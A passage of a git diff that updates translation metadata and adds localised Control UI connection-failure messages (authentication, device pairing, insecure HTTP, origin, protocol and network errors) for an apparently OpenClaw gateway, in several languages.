b/ui/src/i18n/.i18n/it.meta.json index 49d0b1f1a4b..41cb699d849 100644 --- a/ui/src/i18n/.i18n/it.meta.json +++ b/ui/src/i18n/.i18n/it.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:42:31.508Z", + "generatedAt": "2026-05-08T04:13:40.326Z", "locale": "it", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/ja-JP.meta.json b/ui/src/i18n/.i18n/ja-JP.meta.json index 2ed7c9f52d7..5e78871b2b8 100644 --- a/ui/src/i18n/.i18n/ja-JP.meta.json +++ b/ui/src/i18n/.i18n/ja-JP.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:41:19.248Z", + "generatedAt": "2026-05-08T04:13:39.234Z", "locale": "ja-JP", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/ko.meta.json b/ui/src/i18n/.i18n/ko.meta.json index 7e4a4a9a2e5..5802875e18a 100644 --- a/ui/src/i18n/.i18n/ko.meta.json +++ b/ui/src/i18n/.i18n/ko.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:41:21.669Z", + "generatedAt": "2026-05-08T04:13:39.508Z", "locale": "ko", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/nl.meta.json b/ui/src/i18n/.i18n/nl.meta.json index 2626b460761..0fb89352458 100644 --- a/ui/src/i18n/.i18n/nl.meta.json +++ b/ui/src/i18n/.i18n/nl.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:44:20.888Z", + "generatedAt": "2026-05-08T04:13:42.224Z", "locale": "nl", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/pl.meta.json b/ui/src/i18n/.i18n/pl.meta.json index c57ea478bc6..4727ca237b8 100644 --- a/ui/src/i18n/.i18n/pl.meta.json +++ b/ui/src/i18n/.i18n/pl.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:43:20.957Z", + "generatedAt": "2026-05-08T04:13:41.406Z", "locale": "pl", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/pt-BR.meta.json b/ui/src/i18n/.i18n/pt-BR.meta.json index db592db0c89..114bb97a574 100644 --- a/ui/src/i18n/.i18n/pt-BR.meta.json +++ b/ui/src/i18n/.i18n/pt-BR.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:40:44.939Z", + "generatedAt": "2026-05-08T04:13:38.421Z", "locale": "pt-BR", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/th.meta.json b/ui/src/i18n/.i18n/th.meta.json index 81e8aba8be5..9d6c1702655 100644 --- a/ui/src/i18n/.i18n/th.meta.json +++ b/ui/src/i18n/.i18n/th.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:43:42.396Z", + "generatedAt": "2026-05-08T04:13:41.675Z", "locale": "th", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/tr.meta.json b/ui/src/i18n/.i18n/tr.meta.json index 2c8855ba831..b63123af286 100644 --- a/ui/src/i18n/.i18n/tr.meta.json +++ b/ui/src/i18n/.i18n/tr.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:42:15.686Z", + "generatedAt": "2026-05-08T04:13:40.595Z", "locale": "tr", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/uk.meta.json b/ui/src/i18n/.i18n/uk.meta.json index e6992dbd583..eb5b3050f7e 100644 --- a/ui/src/i18n/.i18n/uk.meta.json +++ b/ui/src/i18n/.i18n/uk.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:43:08.733Z", + "generatedAt": "2026-05-08T04:13:40.867Z", "locale": "uk", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/vi.meta.json b/ui/src/i18n/.i18n/vi.meta.json index 80f66732d83..4b1aea3cb58 100644 --- a/ui/src/i18n/.i18n/vi.meta.json +++ b/ui/src/i18n/.i18n/vi.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:44:17.392Z", + "generatedAt": "2026-05-08T04:13:41.948Z", "locale": "vi", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/zh-CN.meta.json b/ui/src/i18n/.i18n/zh-CN.meta.json index fd083141f94..858ab080945 100644 --- a/ui/src/i18n/.i18n/zh-CN.meta.json +++ b/ui/src/i18n/.i18n/zh-CN.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:40:11.885Z", + "generatedAt": "2026-05-08T04:13:37.835Z", "locale": "zh-CN", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/.i18n/zh-TW.meta.json b/ui/src/i18n/.i18n/zh-TW.meta.json index aa38e975473..c2f08ae665b 100644 --- a/ui/src/i18n/.i18n/zh-TW.meta.json +++ b/ui/src/i18n/.i18n/zh-TW.meta.json @@ -1,11 +1,11 @@ { "fallbackKeys": [], - "generatedAt": "2026-05-08T03:40:06.326Z", + "generatedAt": "2026-05-08T04:13:38.148Z", "locale": "zh-TW", "model": "gpt-5.5", "provider": "openai", - "sourceHash": "b4c8279f087e4a589dd3a6e59c9e06f2686df58f904a678c5a773a0df05fe563", - "totalKeys": 1025, - "translatedKeys": 1025, + "sourceHash": "7d7cad2651bd1851b841b8db7129002ce05770e93d3469d0111b445c5d03ca97", + "totalKeys": 1074, + "translatedKeys": 1074, "workflow": 1 } diff --git a/ui/src/i18n/locales/ar.ts b/ui/src/i18n/locales/ar.ts index 26ff3589a5e..111a5250907 100644 --- a/ui/src/i18n/locales/ar.ts +++ b/ui/src/i18n/locales/ar.ts @@ -929,6 +929,88 @@ export const ar: TranslationMap = { showPassword: "إظهار كلمة المرور", hidePassword: "إخفاء كلمة المرور", togglePasswordVisibility: "تبديل ظهور كلمة المرور", + failure: { + rawError: "الخطأ الخام", + docsAuth: "وثائق مصادقة Control UI", + docsPairing: "وثائق إقران الجهاز", + docsInsecure: "وثائق HTTP غير الآمن", + authRequired: { + title: "المصادقة مطلوبة", + summary: + "يمكن الوصول إلى Gateway، لكنه يحتاج إلى رمز مميز أو كلمة مرور مطابقة قبل أن يتمكن هذا المتصفح من الاتصال.", + stepPaste: "الصق الرمز المميز من openclaw dashboard --no-open أو أدخل كلمة المرور المكونة.", + stepGenerate: + "إذا لم يتم تكوين رمز مميز، فشغل openclaw doctor --generate-gateway-token على مضيف Gateway.", + stepConnect: "انقر على Connect مرة أخرى بعد تحديث بيانات الاعتماد.", + }, + authFailed: { + title: "بيانات المصادقة غير مطابقة", + summary: + "تم رفض بيانات الاعتماد المقدمة. السبب الأكثر شيوعا هو رمز مميز قديم أو رمز منسوخ من عنوان Gateway آخر.", + stepDashboard: + "شغل openclaw dashboard --no-open وافتح عنوان URL الجديد أو الصق رمزه المميز.", + stepReplace: + "استبدل قيم الرمز المميز/كلمة المرور القديمة؛ لا تعد استخدام رمز من عنوان Gateway آخر.", + stepMode: + "استخدم وضع مصادقة مطابقا واحدا في كل مرة: رمز gateway لوضع الرمز، أو كلمة المرور لوضع كلمة المرور.", + }, + rateLimited: { + title: "محاولات فاشلة كثيرة جدا", + summary: "يقيد Gateway مؤقتا محاولات المصادقة لهذا العميل.", + stepStop: "توقف عن إعادة المحاولة من هذه علامة التبويب للحظة.", + stepWait: "انتظر حتى يهدأ محدد المصادقة، ثم أعد الاتصال ببيانات الاعتماد المصححة.", + stepCheckClients: + "إذا كان هذا مضيفا مشتركا، فتحقق من العملاء الآخرين بحثا عن محاولات سيئة متكررة.", + }, + pairing: { + title: "إقران الجهاز مطلوب", + scopeTitle: "ترقية النطاق معلقة", + roleTitle: "ترقية الدور معلقة", + metadataTitle: "تحديث الجهاز معلق", + summary: "يحتاج هذا المتصفح إلى موافقة لمرة واحدة من مضيف Gateway قبل استخدام Control UI.", + upgradeSummary: + "هذا المتصفح معروف بالفعل، لكن الوصول المطلوب تغير ويحتاج إلى موافقة جديدة.", + stepList: "شغل openclaw devices list على مضيف Gateway.", + stepApproveId: "وافق على هذا الطلب: openclaw devices approve {requestId}.", + stepApprove: "وافق على طلب المتصفح/الجهاز المعلق من تلك القائمة.", + stepReconnect: "أعد الاتصال بعد اكتمال الموافقة.", + }, + insecure: { + title: "سياق متصفح آمن مطلوب", + summary: + "تعمل هذه الصفحة عبر HTTP عادي، لذلك لا يستطيع المتصفح إنشاء هوية الجهاز التي يتوقعها Gateway.", + stepHttps: "استخدم HTTPS/Tailscale Serve، أو افتح http://127.0.0.1:18789 على مضيف Gateway.", + stepLocalCompat: + "للتوافق المحلي بوضع الرمز فقط، عين gateway.controlUi.allowInsecureAuth: true.", + stepAvoidDisable: "تجنب تعطيل مصادقة الجهاز للوصول عبر HTTP عن بعد.", + }, + origin: { + title: "أصل المتصفح غير مسموح", + summary: "رفض Gateway أصل هذه الصفحة قبل قبول اتصال Control UI.", + stepAllowedOrigins: "أضف أصل هذا المتصفح إلى gateway.controlUi.allowedOrigins.", + stepFullOrigin: "استخدم أصولا كاملة مثل http://localhost:5173، وليس أنماط أحرف بدل.", + stepRestart: "أعد تشغيل Gateway أو أعد تحميله بعد تغيير الأصول المسموح بها.", + }, + protocol: { + title: "عدم تطابق البروتوكول", + summary: "لا يتفق Control UI المقدم مع Gateway العامل على بروتوكول الاتصال المدعوم.", + stepDashboard: + "أعد فتح لوحة المعلومات المقدمة باستخدام openclaw dashboard حتى يأتي UI وGateway من التثبيت نفسه.", + stepDevUi: + "إذا كنت تستخدم pnpm ui:dev، فأعد بناء أو تشغيل واجهة التطوير مقابل checkout الحالي.", + stepRestart: "أعد تشغيل Gateway بعد تحديث OpenClaw حتى يقدم البروتوكول الحالي.", + }, + network: { + title: "تعذر الاتصال", + summary: + "لم يتمكن المتصفح من إكمال اتصال Gateway. تحقق من الهدف والنقل قبل إعادة تجربة بيانات الاعتماد.", + stepGateway: "تأكد من أن Gateway يعمل باستخدام openclaw status أو openclaw gateway run.", + stepUrl: + "تحقق من عنوان WebSocket واستخدم wss:// عندما يكون Gateway خلف HTTPS/Tailscale Serve.", + stepDashboard: + "أعد فتح لوحة المعلومات باستخدام openclaw dashboard --no-open لنسخ عنوان URL وتفاصيل المصادقة الحالية.", + }, + }, }, chat: { disconnected: "تم قطع الاتصال بـ Gateway.", diff --git a/ui/src/i18n/locales/de.ts b/ui/src/i18n/locales/de.ts index c5d73edb605..dd10fb6e7a6 100644 --- a/ui/src/i18n/locales/de.ts +++ b/ui/src/i18n/locales/de.ts @@ -943,6 +943,98 @@ export const de: TranslationMap = { showPassword: "Passwort anzeigen", hidePassword: "Passwort ausblenden", togglePasswordVisibility: "Sichtbarkeit des Passworts umschalten", + failure: { + rawError: "Rohfehler", + docsAuth: "Control-UI-Auth-Dokumentation", + docsPairing: "Dokumentation zur Gerätekopplung", + docsInsecure: "Dokumentation zu unsicherem HTTP", + authRequired: { + title: "Authentifizierung erforderlich", + summary: + "Das Gateway ist erreichbar, benötigt aber ein passendes Token oder Passwort, bevor dieser Browser eine Verbindung herstellen kann.", + stepPaste: + "Füge das Token aus openclaw dashboard --no-open ein oder gib das konfigurierte Passwort ein.", + stepGenerate: + "Wenn kein Token konfiguriert ist, führe openclaw doctor --generate-gateway-token auf dem Gateway-Host aus.", + stepConnect: "Klicke nach dem Aktualisieren der Zugangsdaten erneut auf Connect.", + }, + authFailed: { + title: "Authentifizierung passt nicht", + summary: + "Die angegebenen Zugangsdaten wurden abgelehnt. Häufigste Ursache ist ein veraltetes Token oder ein Token von einer anderen Gateway-URL.", + stepDashboard: + "Führe openclaw dashboard --no-open aus und öffne die frische URL oder füge ihr Token ein.", + stepReplace: + "Ersetze veraltete Token-/Passwortwerte; verwende kein Token von einer anderen Gateway-URL erneut.", + stepMode: + "Verwende jeweils nur einen passenden Auth-Modus: Gateway-Token für den Token-Modus, Passwort für den Passwortmodus.", + }, + rateLimited: { + title: "Zu viele fehlgeschlagene Versuche", + summary: "Das Gateway begrenzt vorübergehend Authentifizierungsversuche für diesen Client.", + stepStop: "Stoppe die Wiederholungsversuche aus diesem Tab für einen Moment.", + stepWait: + "Warte, bis der Auth-Limiter abgekühlt ist, und verbinde dich dann mit den korrigierten Zugangsdaten erneut.", + stepCheckClients: + "Wenn dies ein gemeinsam genutzter Host ist, prüfe andere Clients auf wiederholte falsche Versuche.", + }, + pairing: { + title: "Gerätekopplung erforderlich", + scopeTitle: "Scope-Upgrade ausstehend", + roleTitle: "Rollen-Upgrade ausstehend", + metadataTitle: "Geräteaktualisierung ausstehend", + summary: + "Dieser Browser benötigt eine einmalige Freigabe vom Gateway-Host, bevor er die Control UI verwenden kann.", + upgradeSummary: + "Dieser Browser ist bereits bekannt, aber der angeforderte Zugriff hat sich geändert und benötigt eine neue Freigabe.", + stepList: "Führe openclaw devices list auf dem Gateway-Host aus.", + stepApproveId: "Genehmige diese Anfrage: openclaw devices approve {requestId}.", + stepApprove: "Genehmige die ausstehende Browser-/Geräteanfrage aus dieser Liste.", + stepReconnect: "Verbinde dich erneut, nachdem die Freigabe abgeschlossen ist.", + }, + insecure: { + title: "Sicherer Browserkontext erforderlich", + summary: + "Diese Seite läuft über normales HTTP, daher kann der Browser die vom Gateway erwartete Geräteidentität nicht erstellen.", + stepHttps: + "Nutze HTTPS/Tailscale Serve oder öffne http://127.0.0.1:18789 auf dem Gateway-Host.", + stepLocalCompat: + "Für lokale Token-only-Kompatibilität setze gateway.controlUi.allowInsecureAuth: true.", + stepAvoidDisable: + "Vermeide es, Geräteauthentifizierung für entfernten HTTP-Zugriff zu deaktivieren.", + }, + origin: { + title: "Browser-Origin nicht erlaubt", + summary: + "Das Gateway hat diesen Seiten-Origin abgelehnt, bevor es die Control-UI-Verbindung akzeptiert hat.", + stepAllowedOrigins: "Füge diesen Browser-Origin zu gateway.controlUi.allowedOrigins hinzu.", + stepFullOrigin: + "Verwende vollständige Origins wie http://localhost:5173, keine Wildcard-Muster.", + stepRestart: "Starte oder lade das Gateway nach dem Ändern der erlaubten Origins neu.", + }, + protocol: { + title: "Protokoll stimmt nicht überein", + summary: + "Die bereitgestellte Control UI und das laufende Gateway stimmen beim unterstützten Verbindungsprotokoll nicht überein.", + stepDashboard: + "Öffne das bereitgestellte Dashboard mit openclaw dashboard erneut, damit UI und Gateway aus derselben Installation stammen.", + stepDevUi: + "Wenn du pnpm ui:dev verwendest, baue oder starte die Dev-UI gegen den aktuellen Checkout neu.", + stepRestart: + "Starte das Gateway nach dem Aktualisieren von OpenClaw neu, damit es das aktuelle Protokoll bereitstellt.", + }, + network: { + title: "Verbindung nicht möglich", + summary: + "Der Browser konnte die Gateway-Verbindung nicht abschließen. Prüfe Ziel und Transport, bevor du Zugangsdaten erneut versuchst.", + stepGateway: + "Bestätige mit openclaw status oder openclaw gateway run, dass das Gateway läuft.", + stepUrl: + "Prüfe die WebSocket-URL und verwende wss://, wenn das Gateway hinter HTTPS/Tailscale Serve liegt.", + stepDashboard: + "Öffne das Dashboard mit openclaw dashboard --no-open erneut, um die aktuelle URL und Auth-Details zu kopieren.", + }, + }, }, chat: { disconnected: "Verbindung zum Gateway getrennt.", diff --git a/ui/src/i18n/locales/en.ts b/ui/src/i18n/locales/en.ts index 5dacd0c35c1..d5a18dd5263 100644 --- a/ui/src/i18n/locales/en.ts +++ b/ui/src/i18n/locales/en.ts @@ -930,6 +930,93 @@ export const en: TranslationMap = { showPassword: "Show password", hidePassword: "Hide password", togglePasswordVisibility: "Toggle password visibility", + failure: { + rawError: "Raw error", + docsAuth: "Control UI auth docs", + docsPairing: "Device pairing docs", + docsInsecure: "Insecure HTTP docs", + authRequired: { + title: "Auth required", + summary: + "The Gateway is reachable, but it needs a matching token or password before this browser can connect.", + stepPaste: + "Paste the token from openclaw dashboard --no-open or enter the configured password.", + stepGenerate: + "If no token is configured, run openclaw doctor --generate-gateway-token on the gateway host.", + stepConnect: "Click Connect again after updating the credential.", + }, + authFailed: { + title: "Auth did not match", + summary: + "The supplied credential was rejected. The most common cause is a stale token or a token copied from another Gateway URL.", + stepDashboard: + "Run openclaw dashboard --no-open and open the fresh URL or paste its token.", + stepReplace: + "Replace stale token/password values; do not reuse a token from another Gateway URL.", + stepMode: + "Use one matching auth mode at a time: gateway token for token mode, password for password mode.", + }, + rateLimited: { + title: "Too many failed attempts", + summary: "The Gateway is temporarily limiting authentication attempts for this client.", + stepStop: "Stop retrying from this tab for a moment.", + stepWait: + "Wait for the auth limiter to cool down, then reconnect with the corrected credential.", + stepCheckClients: "If this is a shared host, check other clients for repeated bad retries.", + }, + pairing: { + title: "Device pairing required", + scopeTitle: "Scope upgrade pending", + roleTitle: "Role upgrade pending", + metadataTitle: "Device refresh pending", + summary: + "This browser needs one-time approval from the Gateway host before it can use the Control UI.", + upgradeSummary: + "This browser is already known, but the requested access changed and needs a fresh approval.", + stepList: "Run openclaw devices list on the Gateway host.", + stepApproveId: "Approve this request: openclaw devices approve {requestId}.", + stepApprove: "Approve the pending browser/device request from that list.", + stepReconnect: "Reconnect after the approval completes.", + }, + insecure: { + title: "Secure browser context required", + summary: + "This page is running over plain HTTP, so the browser cannot create the device identity the Gateway expects.", + stepHttps: "Use HTTPS/Tailscale Serve, or open http://127.0.0.1:18789 on the Gateway host.", + stepLocalCompat: + "For local token-only compatibility, set gateway.controlUi.allowInsecureAuth: true.", + stepAvoidDisable: "Avoid disabling device auth for remote HTTP access.", + }, + origin: { + title: "Browser origin not allowed", + summary: + "The Gateway rejected this page origin before accepting the Control UI connection.", + stepAllowedOrigins: "Add this browser origin to gateway.controlUi.allowedOrigins.", + stepFullOrigin: "Use full origins such as http://localhost:5173, not wildcard patterns.", + stepRestart: "Restart or reload the Gateway after changing allowed origins.", + }, + protocol: { + title: "Protocol mismatch", + summary: + "The served Control UI and the running Gateway do not agree on the supported connection protocol.", + stepDashboard: + "Reopen the served dashboard with openclaw dashboard so the UI and Gateway come from the same install.", + stepDevUi: + "If using pnpm ui:dev, rebuild or restart the dev UI against the current checkout.", + stepRestart: + "Restart the Gateway after updating OpenClaw so it serves the current protocol.", + }, + network: { + title: "Could not connect", + summary: + "The browser could not complete the Gateway connection. Check the target and transport before retrying credentials.", + stepGateway: "Confirm the Gateway is running with openclaw status or openclaw gateway run.", + stepUrl: + "Check the WebSocket URL and use wss:// when the Gateway is behind HTTPS/Tailscale Serve.", + stepDashboard: + "Reopen the dashboard with openclaw dashboard --no-open to recopy the current URL and auth details.", + }, + }, }, chat: { disconnected: "Disconnected from gateway.", diff --git a/ui/src/i18n/locales/es.ts b/ui/src/i18n/locales/es.ts index 2eadd229f7b..e6b216f5dde 100644 --- a/ui/src/i18n/locales/es.ts +++ b/ui/src/i18n/locales/es.ts @@ -942,6 +942,97 @@ export const es: TranslationMap = { showPassword: "Mostrar contraseña", hidePassword: "Ocultar contraseña", togglePasswordVisibility: "Alternar visibilidad de la contraseña", + failure: { + rawError: "Error sin procesar", + docsAuth: "Documentación de autenticación de Control UI", + docsPairing: "Documentación de emparejamiento de dispositivos", + docsInsecure: "Documentación de HTTP inseguro", + authRequired: { + title: "Autenticación requerida", + summary: + "Se puede acceder al Gateway, pero necesita un token o una contraseña coincidente antes de que este navegador pueda conectarse.", + stepPaste: + "Pega el token de openclaw dashboard --no-open o introduce la contraseña configurada.", + stepGenerate: + "Si no hay token configurado, ejecuta openclaw doctor --generate-gateway-token en el host del Gateway.", + stepConnect: "Haz clic en Connect de nuevo después de actualizar la credencial.", + }, + authFailed: { + title: "La autenticación no coincide", + summary: + "La credencial proporcionada fue rechazada. La causa más común es un token obsoleto o copiado desde otra URL de Gateway.", + stepDashboard: "Ejecuta openclaw dashboard --no-open y abre la URL nueva o pega su token.", + stepReplace: + "Reemplaza valores obsoletos de token/contraseña; no reutilices un token de otra URL de Gateway.", + stepMode: + "Usa un solo modo de autenticación coincidente a la vez: token de gateway para modo token, contraseña para modo contraseña.", + }, + rateLimited: { + title: "Demasiados intentos fallidos", + summary: + "El Gateway está limitando temporalmente los intentos de autenticación de este cliente.", + stepStop: "Deja de reintentar desde esta pestaña por un momento.", + stepWait: + "Espera a que el limitador de autenticación se enfríe y vuelve a conectar con la credencial corregida.", + stepCheckClients: + "Si este es un host compartido, revisa otros clientes por reintentos incorrectos repetidos.", + }, + pairing: { + title: "Emparejamiento de dispositivo requerido", + scopeTitle: "Actualización de alcance pendiente", + roleTitle: "Actualización de rol pendiente", + metadataTitle: "Actualización del dispositivo pendiente", + summary: + "Este navegador necesita una aprobación única del host del Gateway antes de poder usar Control UI.", + upgradeSummary: + "Este navegador ya es conocido, pero el acceso solicitado cambió y necesita una aprobación nueva.", + stepList: "Ejecuta openclaw devices list en el host del Gateway.", + stepApproveId: "Aprueba esta solicitud: openclaw devices approve {requestId}.", + stepApprove: "Aprueba la solicitud pendiente de navegador/dispositivo desde esa lista.", + stepReconnect: "Vuelve a conectar después de completar la aprobación.", + }, + insecure: { + title: "Se requiere un contexto seguro del navegador", + summary: + "Esta página se está ejecutando sobre HTTP simple, por lo que el navegador no puede crear la identidad de dispositivo que espera el Gateway.", + stepHttps: + "Usa HTTPS/Tailscale Serve, o abre http://127.0.0.1:18789 en el host del Gateway.", + stepLocalCompat: + "Para compatibilidad local solo con token, establece gateway.controlUi.allowInsecureAuth: true.", + stepAvoidDisable: + "Evita desactivar la autenticación de dispositivo para acceso HTTP remoto.", + }, + origin: { + title: "Origen del navegador no permitido", + summary: + "El Gateway rechazó el origen de esta página antes de aceptar la conexión de Control UI.", + stepAllowedOrigins: "Agrega este origen del navegador a gateway.controlUi.allowedOrigins.", + stepFullOrigin: "Usa orígenes completos como http://localhost:5173, no patrones comodín.", + stepRestart: "Reinicia o recarga el Gateway después de cambiar los orígenes permitidos.", + }, + protocol: { + title: "El protocolo no coincide", + summary: + "La Control UI servida y el Gateway en ejecución no coinciden en el protocolo de conexión admitido.", + stepDashboard: + "Vuelve a abrir el dashboard servido con openclaw dashboard para que UI y Gateway provengan de la misma instalación.", + stepDevUi: + "Si usas pnpm ui:dev, reconstruye o reinicia la UI de desarrollo contra el checkout actual.", + stepRestart: + "Reinicia el Gateway después de actualizar OpenClaw para que sirva el protocolo actual.", + }, + network: { + title: "No se pudo conectar", + summary: + "El navegador no pudo completar la conexión al Gateway. Revisa el destino y el transporte antes de reintentar credenciales.", + stepGateway: + "Confirma que el Gateway esté en ejecución con openclaw status u openclaw gateway run.", + stepUrl: + "Revisa la URL de WebSocket y usa wss:// cuando el Gateway esté detrás de HTTPS/Tailscale Serve.", + stepDashboard: + "Vuelve a abrir el dashboard con openclaw dashboard --no-open para copiar la URL y los detalles de autenticación actuales.", + }, + }, }, chat: { disconnected: "Desconectado de la puerta de enlace.", diff --git a/ui/src/i18n/locales/fa.ts b/ui/src/i18n/locales/fa.ts index 5cf46b1d8b5..85081c1a2e5 100644 --- a/ui/src/i18n/locales/fa.ts +++ b/ui/src/i18n/locales/fa.ts @@ -938,6 +938,97 @@ export const fa: TranslationMap = { showPassword: "نمایش گذرواژه", hidePassword: "پنهان کردن گذرواژه", togglePasswordVisibility: "تغییر نمایش گذرواژه", + failure: { + rawError: "خطای خام", + docsAuth: "مستندات احراز هویت Control UI", + docsPairing: "مستندات جفت سازی دستگاه", + docsInsecure: "مستندات HTTP ناامن", + authRequired: { + title: "احراز هویت لازم است", + summary: + "Gateway در دسترس است، اما قبل از اتصال این مرورگر به یک توکن یا گذرواژه منطبق نیاز دارد.", + stepPaste: + "توکن openclaw dashboard --no-open را جای گذاری کنید یا گذرواژه پیکربندی شده را وارد کنید.", + stepGenerate: + "اگر توکنی پیکربندی نشده است، openclaw doctor --generate-gateway-token را روی میزبان Gateway اجرا کنید.", + stepConnect: "پس از به روز کردن اعتبارنامه، دوباره روی Connect کلیک کنید.", + }, + authFailed: { + title: "احراز هویت مطابقت نداشت", + summary: + "اعتبارنامه ارائه شده رد شد. رایج ترین علت، توکن قدیمی یا توکنی است که از URL یک Gateway دیگر کپی شده است.", + stepDashboard: + "openclaw dashboard --no-open را اجرا کنید و URL تازه را باز کنید یا توکن آن را جای گذاری کنید.", + stepReplace: + "مقادیر قدیمی توکن/گذرواژه را جایگزین کنید؛ از توکن URL یک Gateway دیگر دوباره استفاده نکنید.", + stepMode: + "هر بار فقط یک حالت احراز هویت منطبق استفاده کنید: توکن gateway برای حالت توکن، گذرواژه برای حالت گذرواژه.", + }, + rateLimited: { + title: "تلاش های ناموفق بیش از حد", + summary: "Gateway به طور موقت تلاش های احراز هویت این کلاینت را محدود می کند.", + stepStop: "برای لحظه ای از این زبانه دوباره تلاش نکنید.", + stepWait: + "صبر کنید محدودکننده احراز هویت آرام شود، سپس با اعتبارنامه اصلاح شده دوباره وصل شوید.", + stepCheckClients: + "اگر این میزبان مشترک است، کلاینت های دیگر را برای تلاش های نادرست تکراری بررسی کنید.", + }, + pairing: { + title: "جفت سازی دستگاه لازم است", + scopeTitle: "ارتقای scope در انتظار است", + roleTitle: "ارتقای نقش در انتظار است", + metadataTitle: "به روزرسانی دستگاه در انتظار است", + summary: + "این مرورگر قبل از استفاده از Control UI به تأیید یک باره از میزبان Gateway نیاز دارد.", + upgradeSummary: + "این مرورگر از قبل شناخته شده است، اما دسترسی درخواستی تغییر کرده و به تأیید تازه نیاز دارد.", + stepList: "openclaw devices list را روی میزبان Gateway اجرا کنید.", + stepApproveId: "این درخواست را تأیید کنید: openclaw devices approve {requestId}.", + stepApprove: "درخواست در انتظار مرورگر/دستگاه را از آن فهرست تأیید کنید.", + stepReconnect: "پس از تکمیل تأیید، دوباره وصل شوید.", + }, + insecure: { + title: "زمینه امن مرورگر لازم است", + summary: + "این صفحه روی HTTP ساده اجرا می شود، بنابراین مرورگر نمی تواند هویت دستگاه مورد انتظار Gateway را بسازد.", + stepHttps: + "از HTTPS/Tailscale Serve استفاده کنید یا 